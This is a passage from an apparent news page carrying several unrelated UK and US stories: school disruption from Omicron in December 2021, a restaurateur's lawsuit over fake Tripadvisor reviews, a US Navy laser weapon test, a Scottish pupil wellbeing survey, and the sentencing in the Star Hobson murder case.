vaccination by the end of the Christmas holidays.' Mr Halfon today said 'it seems to me we are moving sadly towards de facto school closures', as he urged the Government to create an 'army' of volunteers and public awareness campaign for the education sector. The Conservative MP for Harlow said: 'The four horsemen of the education apocalypse have been galloping towards our young people in the form of a widening attainment gap, an epidemic of mental health problems, a rise in safeguarding hazards and a loss of life chances.' He asked what the plan was to keep schools open, and 'what measures are being taken to ensure that should education staff be required to isolate there is a network of supply teachers ready to step in?' Mr Halfon said: 'The Health Secretary is right to say that we should protect the NHS, but why can't the Department for Education not say we have to protect our children's futures, why don't we have adverts about that?' He said: 'There's a nationwide campaign for an army of NHS volunteers but not for education. Why is a similar army of retired teachers or Ofsted inspectors not being recruited to support schools struggling to cope with staffing requirements? 'Can we not have the same vision, the same passion, the same resource provision for the education service as we do for the National Health Service?' There are also concerns that the expected return of pupils in January could be staggered out or even delayed because of fears over the spread of the virus during winter. Meanwhile, shadow schools minister Stephen Morgan accused the Government of 'complacency' on pupils' health and education, claiming ministers were 'falling short' on the issues of vaccination and ventilation in schools. He said: 'The Government's complacency means we are now in a race against time to protect children's health and education as the Omicron variant spreads. Yesterday's absence figures show 235,000 children now out of school due to Covid, up 13% in the last fortnight, an average of 175,000 children have been out of school every day this term. 'This ongoing disruption to children's education comes on top of the average 115 days of in person school that pupils missed between March 2020 and July 2021. 'The Government has serious questions to answer about why further steps have not been taken to reduce the spread of Covid amongst pupils. We know vaccination and ventilation are vital to these efforts but ministers are falling short on both.' He added: 'Their failure to get vaccination measures in place is pushing schools to open windows despite plummeting temperatures while school energy bills rocket.' He said: 'Time and time again this Government's failure to plan ahead has left children bearing the brunt of the pandemic. Ministers must stop treating them as an after thought and act now to avoid chaos next term.' Mum 'heartbroken' after school cancels nativity play for a second year Parents at a North Tyneside school have been left 'heartbroken' after staff banned them from watching their childrens' nativity play - but chose to open a fundraiser shop. Tony Rigg, the headteacher at Amberley Primary School in Killingworth said Governors made the 'difficult decision' due to the rate of infection across North East. Instead of the traditional in-person Christmas play, children will be sent home with a filmed version for families to watch together at home. The decision, the school said, 'was based on the number of adults that would be gathered in the internal school hall with no direct external ventilation.' Meanwhile, the school has also arranged for 7 to 11-year-old pupils to take part in a 'socially distanced choir concert' that will perform outside the school each morning as parents drop-off their children. The changes have however left parents at the school 'upset', after they faced similar disappointment last year. 'The headteacher was supposed to run a Christmas nativity at school but he's decided to make it digital and is not inviting parents for the second year in a row,' one mother said. 'Many of the parents were upset because on Monday he decided to go ahead with a Christmas pop-up Shop in the yard. 'This means that he can organise something to bring money into the school, but we are not able to see personally our children singing for example in the yard without breaking any Covid rules. 'My heart broke when my little one said 'mummy you are coming to see me in the play?' 'The children are missing a lot and it's been absolutely horrible.' Advertisement It is reported that several schools in London and Kent have told parents take home all their children's books and a laptop each in case they don't come back to the classroom next month. Geoff Barton, general secretary of the Association of School and College Leaders (ASCL), said schools across the country were suffering from 'very severe low attendance' as the Omicron variant continues to spread. Some of the schools have had to close because of a lack of staff, but others were warned about the health risks of remaining open after seeing high infection rates. Two schools in Bury St Edmunds, Suffolk, were told to shut this week by local public health teams. Mr Barton, speaking on BBC Breakfast, said the government body had taken the decision away from the headmaster on public health grounds. On Monday, Health Secretary Sajid Javid said there 'are no guarantees' that schools will be allowed to reopen in January. This outraged public campaigners and education unions, with some saying the government needed to do more to avoid any scenario in which the next school term could be disrupted. Reacting to the shocking attendance figures yesterday, Paul Whiteman, general secretary of school leaders' union NAHT, said: 'Everyone is concerned about how this will play out over the next few weeks and the implications for January. 'No-one wants to see the sort of disruption to education that we experienced last winter. However, we are already seeing signs that schools are coming under increasing pressure. 'The government needs to think very carefully about the mitigations it needs to take to keep schools open next term. Doing nothing is not a plausible or realistic option. 'It is essential that the government does everything in its power now to reduce the spread of Covid in schools. That should include reviewing mitigation measures that could be reintroduced whilst transmission rates are high. He criticised the government and local public health teams for giving 'contradictory advice' on what schools should be doing in the run up to Christmas. Steve Chalke, head of the Oasis Academy chain, said his schools are preparing to bring back bubbles, rota lessons, staggered starts and an extension of mask wearing. He said: 'We are quite prepared for online learning. If we get to January 2 and the Prime Minister says all schools need to be shut, we are prepared. 'January is the great unknown. But Omicron is sweeping London now and it is going to sweep the country.' Other unions and headteachers have called for the two-week Christmas holiday to be extended into January and a staggered start to the new term in 2022. NASUWT general secretary Dr Patrick Roach has written to education secretary, Nadhim Zahawi calling for masks in classrooms now and a staggered start to the new term in 2022 for secondary schools, meaning children will be forced into online learning. He said: 'We ask you to avoid a repeat of the confusion and chaos which last year impacted negatively on public and parental confidence and hampered the hard work of teachers and school and college leaders in their preparations at the start of 2021. 'An immediate announcement from the government on additional measures for schools and colleges is, we believe, essential before the majority of schools and colleges close for the Christmas break.' Some 235,600 students were absent from their school last week, the second highest figure this year, and around 17,000 teachers were also believed to be at home. Pictured: A school in Halifax, northwest England Nativity plays and other Christmas festivities are being widely axed and filmed instead as parents are kept away. Pictured: A Knutsford school last year There is however disagreement on what measures should be taken, with a spokesperson for the ASCL telling the Mail that they do not support the idea of a staggered return. Clare Wagner, head of Henrietta Barnett School in Barnet, north London, told the Evening Standard: 'Not only does testing take ages but you can't have pupils in school before the test, and they can't go into lessons until the results have come through so you have to have a staggered start'. Headteachers say that there is 'chaos' in Britain's education system with children already being taught online and now not returning to the classroom until January at the earliest. Schools in areas with high infection rates such as London, the south-east and the East Midlands, say they are sending home entire year groups because they don't have the teachers and supply teachers available. Unions claim that in some schools up to half of staff are off sick, with some missing from work since November. The return to home schooling for thousands of children came days after an alarming report warned that almost every child in the country has fallen behind at school because of Covid lockdowns - with pupils battling 'endemic' loneliness, boredom and misery during the pandemic. Up to half the teaching workforce is unavailable for work due to Covid-related absence in some schools, the NASUWT union has claimed. And parents are being told to stay away from nativities and Christmas concerts, sometimes with only a few hours notice. The Government should publish guidance advising schools to cancel or postpone non-essential activities and events immediately, as well as move to online staff and parental meetings, the NASUWT union says, but many schools have already axed nativities and Christmas concerts. The education secretary Nadhim Zahawi (pictured arriving at Broadcasting House on Sunday) has also refused to rule out school closures in the new year A staggered return of pupils at the start of January should be considered and additional on-site testing facilities should be provided up until the February half-term, the union says. With entire year groups being sent home, Mr Zahawi has hit back and said: 'School attendance remains mandatory...The evidence is clear that the best place for children is in a classroom'. Geoff Barton, general secretary of the Association of School and College Leaders (ASCL), has said schools across the country are seeing 'very severe low attendance' as the Omicron variant spreads. He told BBC Radio 4's Today Programme: 'Listening to the speculation and the news, and certainly the emails I've been getting from members, you are getting some pockets of very severe low attendance, partly young people, partly staff. 'One (school) has emailed me this morning saying 25% of staff have been off for three weeks, you can imagine if you can't then get supply teachers that becomes very difficult to maintain the quality of education.' Little-known minister for jabs gets sidelined Vaccines Minister Maggie Throup was sidelined yesterday as Sajid Javid said he will now be 'personally running' the booster programme. The Health Secretary said he is taking charge of the rollout and will be responsible for its success. He insisted that Ms Throup is 'doing a really important job' but his decision to lead the initiative is likely to prompt questions over her future. Her predecessor, Nadhim Zahawi, had a much more prominent role. He attended Cabinet and was frequently seen on TV. Miss Throup took over the role in September after Mr Zahawi was promoted to Education Secretary. Asked who was in charge, Mr Javid told BBC Radio 4's Today programme: 'Maggie Throup is the Vaccines Minister. She is doing a really important job.' Pressed on whether she was in charge of the rollout, Mr Javid said: 'I am personally running this programme.' Advertisement Downing Street said yesterday that schools should not be closing early for the Christmas holidays, unless they are ordered to on public health grounds. The Prime Minister's official spokesman said there were currently no plans to put any restrictions on schooling, adding that suspension of face to face lessons was only ever done if 'it was an absolute public health emergency'. In response to the increase in cases of the highly transmissible variant, teaching unions have called for the staggered return of pupils in January and for additional onsite testing facilities for schools. They also said the Government should publish further guidance advising schools and colleges to cancel or postpone non-essential activities or events, as well as move to online staff and parents meetings. Meanwhile, reports suggest some schools have been closing early amid rising concern of the Omicron variant. In response, the Prime Minister's official spokesman said: 'Certainly we do not think anyone should be closing schools early unless they have received advice from a local director of public health that it is necessary on public health grounds. 'We wouldn't want to see that happening routinely just as a precaution because education is vital and we have seen sadly because of the public health crisis children have to miss face to face education and so it is very important that we maintain schooling as much as possible.' It comes after the health secretary refused to rule out school closures when quizzed this morning as the Government continues its battle to control the spread of Omicron cases. Sajid Javid said he did not want children to go back to learning from home after Christmas as he urged the nation to sign up for their booster jabs but said 'there are no guarantees' schools would be open. Many individual schools have closed early for Christmas in defiance of Whitehall advice and it is understood several local authorities are considering similar moves to curb Omicron cases Asked on LBC whether this remained a possibility, Mr Javid said: 'Well, I don't want to see that or any of these kinds of measures. I'm just going to focus on everything else we need to be doing, especially the booster programme.' Website crashes in stampede for jabs The NHS website crashed yesterday as record numbers rushed to book a booster in the hope of saving their Christmas. Boris Johnson's promise to give every adult a third jab by the end of the year triggered a surge in demand that left parts of the UK's health infrastructure unable to cope. Queues of up to five hours built up at some vaccination centres. The Government was also forced to suspend temporarily the online availability of home lateral flow kits on the eve of rolling out a new testing regime. From today, all contacts of those who have tested positive for Covid have to take a daily rapid test for a week in a bid to prevent the virus from spreading further. The weekend saw a record number of booster bookings on the NHS website, with 749,000 slots snapped up. A further 110,000 slots had been booked by 9am yesterday. Problems with the site began on Sunday afternoon. The Prime Minister's later TV address led to a further surge, with many of those trying to book met with a message telling them that they had been placed in a queue. Others were unable to get this far and were instead told the site had 'technical difficulties'. No10 yesterday suggested 'further capacity' would be built into the service in coming days to deal with the increased demand. Advertisement He added: 'I'd say this... if you are asking me for guarantees, I will just say - as the Health Secretary, of course, I'm not the Education Secretary - as the Health Secretary, that there are, when it comes to our fight against this pandemic, there are no guarantees. 'But what we do know that works is, in this case, a booster shot of the vaccine.' The health secretary's comments echo those made by the education secretary yesterday who also offered no guarantee that schools would still be open in the new year. Nadhim Zahawi said the Government was still learning about the variant and that it was trying to ensure schools were protected. Asked by the BBC's Andrew Marr if he could make the promise that schools won't close, he said: 'We are absolutely working to make sure that all schools are open, that they're protected. 'I will do everything in my power. We are still learning about this variant. We know that a booster works. 'Get boosted, protect yourself, protect your community and let's get through this and transition this from pandemic to endemic.' An Omicron Covid-19 case was reported in a primary school for the first time last week. All year five students, aged nine or ten, at Manor Community Primary School in Kent, were advised to stay home and get tested. Those who are unvaccinated and come into close contact with a person who has been infected with Omicron must self-isolate for 10 days. As of tomorrow, people who are fully vaccinated and identified as a contact of someone with Covid whether Omicron or not should take an NHS rapid lateral flow test every day for 7 days to help slow the spread, the Government said this weekend. Pupils' parents received an email informing them of the situation and a mobile testing unit was dispatched to the school in Keary Road on Friday. As a precaution, the UK Health Security Agency is carrying out testing on some pupils in key stage two groups. The news came days after another Omicron case was confirmed at nearby Northfleet Technology College. Health experts fear the Omicron variant could be more contagious than other strains, although it is understood the vaccine remains effective at preventing severe symptoms and hospitalisation in most cases. The UK's Omicron outbreak surged by 50 per cent in a day today after more than 1,500 Britons were diagnosed with the mutant virus and the first death was confirmed. Officials confirmed another 1,576 cases of the highly-evolved variant over the past 24 hours, bringing the total number to 4,713 however this is believed to be a vast underestimate with the true number several times greater because not all positive tests are analysed for variants. Fearing a rise in Omicron infections, new coronavirus restrictions have come into force around the country as part of the government's Plan B to tackle the virus over the winter period. Many individual schools have closed early for Christmas in defiance of Whitehall advice, with some citing their own Covid outbreaks and a lack of staff. It is thought a number of local authorities are considering similar moves in a bid to curb Omicron cases. Last month, Darwen Aldridge Enterprise Studio, a secondary school which teaches pupils aged 13 to 19, said that it was shuttering its doors temporarily due to teachers being off with Covid. And Finlay Community Primary School in Gloucestershire said it was partially closing - with pupils in reception moving to online learning - due to 'an increase in Covid-19 cases' and 'low staffing levels'. Among the schools already closed for Christmas are Abbots Green Academy and Sybil Andrews Academy in Bury St Edmonds, Suffolk. Pupils have switched to online learning and it is not known if they will return in January in-person yet. Other schools cancelled nativities and Christmas festivities amidst growing concern over the highly transmissible Omicron variant. It comes as a public health chief called for an extension of the school holiday to act as a 'firebreak' against Covid. Professor Dominic Harrison, director of public health for Blackburn with Darwen, said adding a week either side of the two-week break could reduce transmission to 'vulnerable family members' and protect schools in the New Year. A firebreak, he said, would be the best way to contain Omicron after the Centre for Mathematical Modelling of Infectious Diseases had found the strain will have a 'very significant impact' on schools. His proposal was echoed by a senior leader of the National Education Union whose members are unhappy at being exposed to pupils with Covid. But yesterday campaigners urged councils to keep schools open. The NASUWT has said the Government should stagger the return of pupils to schools in January amid concerns about the Omicron variant and set up onsite testing facilities Molly Kingsley, of parent group UsForThem, said: 'Schools are quite literally essential for children. Closing them is nothing short of a moral crime. 'Just as it would be inconceivable to close power stations, hospitals, essential retail, it must be inconceivable to close schools.' After the Christmas holidays last year, Prime Minister Boris Johnson told parents on Sunday January 3 to send their primary-age children back to school. But on the evening of the next day, he announced a national lockdown for England - with all schools closed to the majority of pupils. The Department for Education was approached for a comment. An online troll who posted a series of fake negative reviews about a restaurant on Tripadvisor bit off more than he could chew when the Cambridge law graduate owner successfully sued him for 7,455. During his campaign, Martin Stewart Potts wrote ten false reviews about eatery Bispham Kitchen, with one claiming the food made him, his wife and his children sick. He made fake accusations about the family restaurant in Blackpool, Lancashire, between October 23 and November 16, 2018, claiming that the restaurant's haddock was in fact 'catfish' and that their chips were 'fried in burnt oil'. But restaurant owner Steve Hoddy, a trained lawyer with a first-class degree from Cambridge, took him to court, and during a hearing in July, Judge Sephton ruled that Potts was guilty of malicious falsehood. He was ordered to pay thousands in compensation to Mr Hoddy. Speaking after the verdict, Mr Hoddy said that trolling had become 'rife' and called fake reviewers a 'scourge of modern society'. He said: 'Online trolling is rife and one of the big problems nowadays. It's becoming a pandemic of its own. It wrecks businesses. Steve Hoddy from Bispham Kitchen who took a fake revier to court and won 'I have owned Bispham Kitchen for 44 years now and my business is robust enough to withstand this sort of nonsense. 'But particularly for hotels it is a real problem, because people really do take note of hotel reviews because they are spending larger sums of money. MALICIOUS FALSEHOOD Malicious falsehood is a lie that was uttered with malice, meaning the person who spoke or wrote it knew it was false or would cause damage or harm. The law of malicious falsehood is often used to protect economic interests. Claims are sometimes made alongside or as an alternative to defamation claims. A statement is malicious if the person who uttered it either knew it was not true or did not take the proper care to check. Section 3(1) of the Defamation Act 1952 says that for a slander of title or slander of goods it is not necessary to allege or prove special damage if the words were 'calculated to cause pecuniary damage'. This also applies if the words are calculated to cause pecuniary damage 'in respect of any office, profession, calling, trade or business'. Advertisement 'It is the scourge of modern society.' Mr Hoddy said that he received the ten malicious reviews about Bispham Kitchen, a family restaurant in Blackpool, Lancs, between October 23 and November 16, 2018. He said: 'About three years ago, this man decided he was going to troll Bispham Kitchen. 'He used eight different usernames and was saying things like 'the fish wasn't haddock it was catfish', and that it made himself, his wife and children ill and 'the chips were fried in burnt oil.' 'He put the first review on, and it said, 'owner glares at you weirdly when you are trying to eat your fish and chips, not a nice experience.' 'I don't normally reply to reviews, but I did to this one and the reply was partially humorous. 'I said ''I can assure you the owner of Bispham Kitchen is the most charming delightful person you could possibly hope to meet and he would not dream of glaring weirdly at his customers''. 'But that seemed to provoke him into the spate of reviews over the next couple of weeks. He added: 'The problem was it was in the October half term week, 2018, which is our busiest time, serving probably a thousand customers a day. Mr Hoddy, who is the managing director of six restaurants and a takeaway, then managed to identify more bad reviews that Potts had left under different names about his other venues. He said: 'It was a whole catalogue of bogus reviews. He later put up reviews of some of my other businesses too. 'But he'd made the same spelling mistakes throughout the different reviews, so it was obvious it was the same person. 'With four of the usernames, he had done about a hundred reviews of other places, so I was able to piece together a picture of who he was. 'He knew exactly what he was doing. I traced him and I went and confronted him. Martin Potts bit off more than he could chew when restaurant owner Steve Hoddy (pictured), a trained lawyer with a first-class degree from Cambridge, took him to court Mr Hoddy, who also is a trained lawyer, said he began by sending Potts letters, asking him to apologise for his false remarks. He said: 'I gave him a letter warning him that unless he apologised for the reviews, I would sue him for malicious falsehood. 'Unbeknown to him, I did law at university and have two law degrees, although I don't practice as a barrister. 'I issued proceedings against him in Manchester County Court for malicious falsehood. He added: 'These are difficult actions to take, they are complicated and expensive. 'Most people could not bring this kind of case as they are complicated, and a law firm would charge a high fee for this sort of action. 'He at first denied he had done the reviews. But when I presented him with incontrovertible evidence, he drip-fed admissions, but still resisted the case. 'The case came up in Manchester Country Court on July 19. I won and was awarded 7,455 in damages and costs. Even during the court hearing, Mr Hoddy said that Potts seemed to drag his feet. 'He did not turn up for the hearing and came up with an excuse that he had failed a lateral flow test. 'As a result, he then applied to have the judgment set aside and that hearing took place a couple of weeks ago. That was a telephone hearing and the application to set aside was rejected.' Mr Hoddy, who is a trained lawyer, said he began by sending Potts letters, asking him to apologise for his false remarks. He said: 'I gave him a letter warning him that unless he apologised for the reviews, I would sue him for malicious falsehood. Unbeknown to him, I did law at university and have two law degrees, although I don't practice as a barrister. I issued proceedings against him in Manchester County Court (pictured) for malicious falsehood' 'He said Mr Potts could not prove he had taken a lateral flow test and the judge kicked out his appeal.' Mr Hoddy said the case highlighted how easy it was for malicious trolls to hide their identities on websites like Tripadvisor. He said: 'You can't get anywhere with Tripadvisor to get them to reveal the identity of the reviewers. 'One of their terms and conditions is that any dispute with Tripadvisor must be decided in the court of Massachusetts, where they are based, so you would have to go to the US.' At the time, Mr Hoddy contacted Tripadvisor to point out the reviews could not be correct and the website later took down the comments. Mr Hoddy had qualified in law with a first-class degree from Cambridge and was offered a place at the Inns of Court to do the bar finals, but he chose to go into business in Blackpool. He said most businesses would not be able to put together a successful malicious falsehood case. But he added that he enjoyed using the knowledge and skills he had learned at university and treated the complex procedure as a challenge. Mr Hoddy explained: 'I specialised in defamation law but knew nothing about county court procedure, so I did some research. 'I enjoyed doing it, it was what I had been trained for. 'But I did not do it for the money, it was for the principle - to send a message to those who think they can damage a business or a personal reputation at will. 'Although I could prove my case, I still had to give the court guidance as to how much damages I expect. 'At the hearing, the judge made me stand up and justify how much money he was expecting to give. 'Tripadvisor produce bar graphs to show how many search hits a particular business has had in a month. 'I used those to show that in that month there were 2,500 search hits and extrapolating from that that 50 per cent would have read the reviews because they were all lined up there at the top of the listing. 'I had to estimate how many people they would have put off or brought in. In the end the judge gave me pretty much what I asked for. 'I had to prove that the reviews complained of were both false and malicious. I did this relatively easily. 'On the review which said he made him, his wife and his children ill, I found out he did not have a wife or children. 'With the catfish claim, I was able to produce all my fish bills to show the fish we serve was haddock. 'I also did a credit search on his address and name. 'It came up with five different aliases, all with the same date of birth and one of which was one of the user names which he denied using. So I could prove my case. A UK spokesman for Tripadvisor, which is based in Needham, Massachusetts, said: 'Tripadvisor takes the issue of fraud extremely seriously and we use the best in technology and human moderation practices to fight it. 'Our advice to business owners and consumers alike is simple: if you see a review that arouses suspicion or breaches any of our guidelines, please report it to us. Our team will then investigate, and act accordingly.' Advertisement The US Navy announced on Wednesday that it fired a laser weapon to destroy a floating target in a Middle East waterway where Iran-back Yemen rebels have used drone boats packed with explosives to threaten ships. The test, which took place on Tuesday, saw the USS Portland fire the Laser Weapon System Demonstrator at the target in the Gulf of Aden, which separates East Africa from the Arabian Peninsula. The system used by the Navy's Mideast-based 5th fleet could be used to counteract drone boats used by Yemen's Houthi rebels. The Houthis have deployed the bomb-filled boats, which can be piloted remotely and sent up to a target before detonating. The drones boats are suspected of being built with Irans help. The USS Portland fired a laser weapon system at a target floating in the Gulf of Aden on Tuesday The U.S. Navy announced the test on Wednesday with a system that could be used to counter bomb-laden drone boats deployed by Yemen's Houthi rebels in the Red Sea The Portland, a San Antonio-class amphibious transport dock, has its home port in San Diego. The ship is deployed as part of the Essex Amphibious Ready Group that's now in the Mideast The Navy said the test was successful. 'During the demonstration, the Solid State Laser - Technology Maturation Laser Weapons System Demonstrator (LWSD) Mark 2 MOD 0 - aboard Portland successfully engaged a static surface training target,' the U.S. Navy said in a statement. 'Portland previously tested the LWSD in May 2020 when it successfully disabled a small unmanned aerial system while operating in the Pacific Ocean.' The new accompanying system builds upon the former 30-kilowatt Laser Weapon System that had been used in the 2020 test. 'By conducting advanced at sea tests against UAVs and small crafts, we will gain valuable information on the capabilities of the Solid State Laser Weapons System Demonstrator against potential threats,' Capt. Karrey Sanders, the previous commanding officer said after the test, according to Business Insider. 'With this new advanced capability, we are redefining war at sea for the Navy,' he added. Sailors aboard the Amphibious transport dock ship USS Portland observe the new laser weapon system demonstration on Tuesday The Portland had previously tested a laser in the Pacific Ocean in 2020 to bring down a flying drone In terms of the new test, Sanders said that LWSD 'is a unique capability the Portland gets to test and operate for the Navy, while paving the way for future weapons systems.' The Portland, a San Antonio-class amphibious transport dock, has its home port in San Diego. The ship is deployed as part of the Essex Amphibious Ready Group that's now in the Mideast. The Navy has also reportedly been working on a High Energy Laser and Integrated optical-dazzler and Surveillance (HEILOS) system that could stock up their Arleigh-Burke class of guided missile destroyers. The increase in the development of these systems comes amid the crisis facing war-torn Yemen. Houthi rebel supporters are seen holding up weapons to bring more fighters into the battlefronts in the mist of a war-torn Yemen The Gulf of Aden sits along the southern coast of Yemen, which has been at war since Iranian-backed Houthi rebels seized its capital, Sanaa, in 2014. A Saudi-led coalition entered the conflict in March 2015 but the stalemate conflict has dragged on for years, becoming the world's worst humanitarian disaster and killing an estimated 110,000 people. The war also has bled into the surrounding waterways, like the Red Sea and the Bab el-Mandeb, which connects the sea to the Gulf of Aden. These waterways lead to the Suez Canal and onto the Mediterranean Sea, making them crucial for international shipping and global energy supplies. In 2018, the United Arab Emirates-backed Yemeni Navy claimed to have intercepted and seized a booby-trapped, explosives-filled boat launched by Houthi rebels. The Yemeni Navy intercepted the boat as it was on its way toward a merchant ship in the Red Sea, According to UAE media outlet Khaleej Times. Emirati officials in 2018 showed footage they described as coming from a drone boat computer that had Iranians building components for the boats guidance system, with a hat visible in the background in one picture bearing the symbol of Irans hard-line paramilitary Revolutionary Guard. Iran has denied arming the Houthis, though United Nations experts, independent analysts and Western nations point to evidence showing Tehran's link to the weapons. Councillors have urged the City of Edinburgh Council to scrap a controversial sex survey aimed at 14-year-old pupils. The Scottish Government's national Health and Wellbeing Census, an online questionnaire for children in P5 to S6, has been rejected by some local authorities for the content including asking pupils if they have had anal sex. According to the Government, it will help local authorities to 'identify and drive forward local improvements and monitor the results of any changes made' to the health and wellbeing of young people. But concerns have been raised about some of the questions about sex and relationships that will be put to children in their early teens. The survey that will go to students in S4 and above, who could be as young as 14, includes questions such as 'how much, if any, sexual experience have you had?', and asks pupils about the first time they had sex. It also questions youngsters' experiences of 'oral sex', different sexual practices and the use of different contraceptives. Councillors have urged the City of Edinburgh Council to scrap a controversial sex survey aimed at 14-year-old pupils which asks children about their relationships and sexual health Conservative councillor Callum Laidlaw said a 'significant number' of parents and parent councils are worried about the questionnaire. He said: 'We have health and wellbeing in the classroom already so it's not necessarily about that, it's about why you want to ask individual children those sorts of questions. 'It's not just the questions around types of sex. It's also 'do you have a boyfriend or girlfriend?'. 'It's asking very personal questions that will put a lot of young people potentially in a difficult position, they will feel awkward. 'From the questions I know are going to be asked by other local authorities and will in theory be asked in Edinburgh, I personally think some of them are inappropriate.' The survey will be completed by pupils during class time and, although they will not be asked to type in their name, pupils will be have to provide their SCN number which schools and the council could use to identify and offer support if responses flag concern. The survey was rolled out by the Scottish Government as part of its national Health and Wellbeing Census and is aimed at children from P5 to S6. Pictured: Scottish Parliament Councillor Laidlaw added: 'The sort of questions that are being asked around sexual activity and relationships, I think they're very legitimate concerns that many parents and indeed the Children and Young Person's Commissioner for Scotland have had. 'They're being asked to be very specific about sexual experience, about their relationships and the census is using their candidate number. 'It's still a little bit unclear to me as to how anonymous this is and quite when there would be an intervention, which it's stated there would be if there's something of concern - what is 'of concern' and how is that being determined in the context of the census? 'That is unclear to me and asking young people these sorts of questions in a classroom environment raises all sorts of concerns about how young people react to each other and the impact on bullying that this could have. 'At this stage, I and others are unconvinced that the supposed benefits of this outweigh the clear intrusion into private life and possibility of causing serious upset to young people in the classroom and also putting teachers in quite a tricky position as well.' Advertisement Frankie Smith feigned the characteristics of a loving mother, crowing how the birth of little Star - with her cherubic face and bright, blue eyes - was the 'best thing that has ever happened to me'. Yet the 20-year-old, born into a close-knit family with relatives at hand to help her through the early years of motherhood, would go on to abandon her child to unimaginable abuse at the hands of her evil girlfriend, Savannah Brockhill. Her family today described Smith as the 'girl who never grew up' and said she 'changed completely' after meeting Brockhill. Smith had an IQ of just 70 and still played with dolls aged 16, when she briefly dated a student who left her pregnant with Star before leaving for university. After giving birth at 17, Smith was initially a 'good mother' but began neglecting Star, preferring instead to drink in the pubs of Bradford - often with her mother, Yvonne Spendley. On one of her nights out, she met Brockhill at a pub where she was working as a bouncer, and despite never having dated women before fell for her 'confident' personality and quickly became 'obsessed' with her. Ms Spendley recalled: 'When she started dating Savannah it was a shock to me because there was nothing in Frankie's behaviour that suggested that she liked other females. But to be honest, she never showed that much interest in boys either. She was not that kind of girl who was obsessed with sex.' Brockhill, a self-proclaimed 'psycho', regularly beat Smith and - when she continued to attract male attention - threatened to 'kneecap' anyone who 'even looked at her'. The amateur boxer also began physically abusing Star and went on to beat the defenceless toddler to death in one final act of sickening violence. Smith was today jailed for eight years for allowing Star to be killed by Brockhill, 28, who received a minimum sentence of 25 years for murder. Just 12 days earlier, Emma Tustin, the stepmother of tragic six-year-old Arthur Labinjo-Hughes, was jailed for his murder after social services ignored compelling evidence he was being tortured. Today, the judge said although Smith's 'immaturity' and the fact she had herself been beaten by Brockhill were 'mitigating factors', she would have known her daughter was at risk of being killed. She told her: 'It was your role to protect Star from harm, you failed to protect her, allowing her death. You have lost your daughter and you played a significant role by allowing her death. You will have to live with that with the rest of your life.' So how did Frankie Smith descend to such a level of callousness that she was prepared to leave her child in the hands of a monster? And, with worried relatives making five referrals to social services in the eight months before Star died, how did the authorities fail to realise she was utterly incapable of caring for her in yet another missed chance to avert a tragedy? Frankie Smith, 20, mother of 16-month-old Star Hobson, who was murdered by Smith's partner, Savannah Brockhill, 28 Smith - who was interested in dating women but still maintained to be heterosexual - started going out with Brockhill (middle) soon after they first met in October 2019 and quickly fell under her spell Following the sentencing today, Yvonne Spendley told MailOnline: 'Brockhill is an evil monster and I hope she rots in hell. She deserves everything she's got and more. 'She's ruined Frankie's life and the life of our family and killed my granddaughter. I hope she stays in prison for the rest of her life. There are no words to describe what a disgusting human being she is.' Ms Spendley continued to say that so far, she has not been able to forgive her daughter. 'Frankie might not have been convicted of Star's murder, but she played a role in it and that's very difficult for me to accept or understand. It's really messed up my head which is all over the place as I don't know how I feel. 'But Frankie is my daughter and one day, I'm going to have to forgive her but not right now. I just can't simply forget about her because she is my own flesh and blood.' Ms Spendley revealed that she remains furious with social services who closed the case on Star, despite receiving five separate referrals from friends and family raising concerns about how she was being treated. She fumed: 'The social workers should hang their heads in shame. They are a disgrace. They could have put a stop to all this, but they didn't. I would like to see them publicly named so that we can all know who they are. 'I will be making a formal complaint about them in the near future. What's more insulting is that since the end of the case, Bradford Council's social services department has not even got in touch with me to offer an apology or an explanation. This is not the end of the matter.' Ms Spendley said Smith was 'immature' and 'vulnerable' throughout her life and that she is still struggling to come to terms with the role that she played in the death of Star. She cried: 'My head is all over the place, I just can't understand it. Frankie was not the brightest of kids. She didn't have any ambition or aims in life, but she was not nasty. She was just very innocent and very vulnerable. 'She was just a sweet kid all through her life, but she never properly grew up. You could call her immature but I didn't see it like that. It never worried me because I thought that was just Frankie. Even as a teenager, she was into dolls, toys, Justin Bieber and other pop stars that are mainly popular with younger girls. 'She's never had a job and mainly relied on the family and benefits. She wasn't very driven and didn't ever speak about doing anything in life, but I loved her for what she was.' Star's great-grandfather, David Fawcett, 61, said at first Frankie showed signs of being a good mother. 'Frankie was a caring mother when Star was first born, she was very loving and I don't think that ever changed,' he said. 'But when Savannah arrived she was a different person, Savannah took over her life completely and made it her mission to isolate Frankie from her family and friends. 'We'd always been such a close family, she'd grown up next door to Anita and me and was in our house all the time. Of course the family were always there when she needed help with Star, which all young mothers do. 'But as she fell under savannah's influence more and more she changed, she became distant from us and that's because she was terrified of her, no other reasons than that.' Parents: Frankie's mother, Yvonne Spendley and father, Andrew Smith, (left) who took his own life in June after sending his daughter Frankie a letter in jail saying he would look after her murdered daughter Star Smith was born in Bradford to Ms Spendley and her partner, Andrew Smith. She grew up in Baildon, a prosperous suburb blessed with plenty of green space, and attended Titus Salt School. The school - founded in 1896 by the politician and philanthropist Sir Titus Salt - was rated Good by Ofsted at its most recent inspection. But Smith, who had a half brother and a half sister, never took to education, with tests revealing her IQ of just 70, placing her in the bottom two per cent of the population. She was also 'abnormally compliant' and 'abnormally prone to going along with what an authority figure is telling her to do', according to a police psychiatrist. Smith's parents became estranged, and she was brought up by Ms Spendley in a single-parent household. Today, Ms Spendley described her daughter as 'the girl who never grew up', revealing she still played with dolls aged 16. A timeline of failures: How social services and police missed abuse of tragic Star January 23, 2020 - A referral from Smith's friend and sometimes babysitter Holly Jones went to social services. She flagged up potential domestic violence issues and the fact Star was increasingly being left in her care. Three days later police visited but there were no concerns raised. Social services tried to visit Smith on January 28 but she was not home. Her family were spoken to and no problems were raised, so the case was closed on February 27. May 5, 2020 - Star's great-grandmother Anita Smith contacted social services over concerns over how the baby was being treated. They visited but there were no bruises to either the baby or her mother. Social services spoke to Frankie Smith and Brockhill and the latter gave them permission to do police checks on her. June 21, 2020 - Jordan Hobson, Star's father, referred Smith and Brockhill to social services after seeing pictures the couple had shared of his daughter's bruised face. Police again visited their home and saw the markings on the baby's head. Smith told them Star had hit her head on the handle of a coffee table. A medical examination found two bruises on her cheek and four on the back of her leg. Smith and Brockhill's explanation that they were from her playing with a puppy were believed. June 23, 2020 - Social services were again contacted by Rachel Whiteley, a close friend of Smith's mother Yvonne Spendley. She had been concerned how Smith had treated Star at a barbecue, picking her up roughly. Ms Whiteley said at the time: 'I thought it was disgusting, giving her barbecue food, the way she handled her.' Social services closed the case in July, it is not clear what was done. September 2, 2020 - Frank Smith Star's paternal 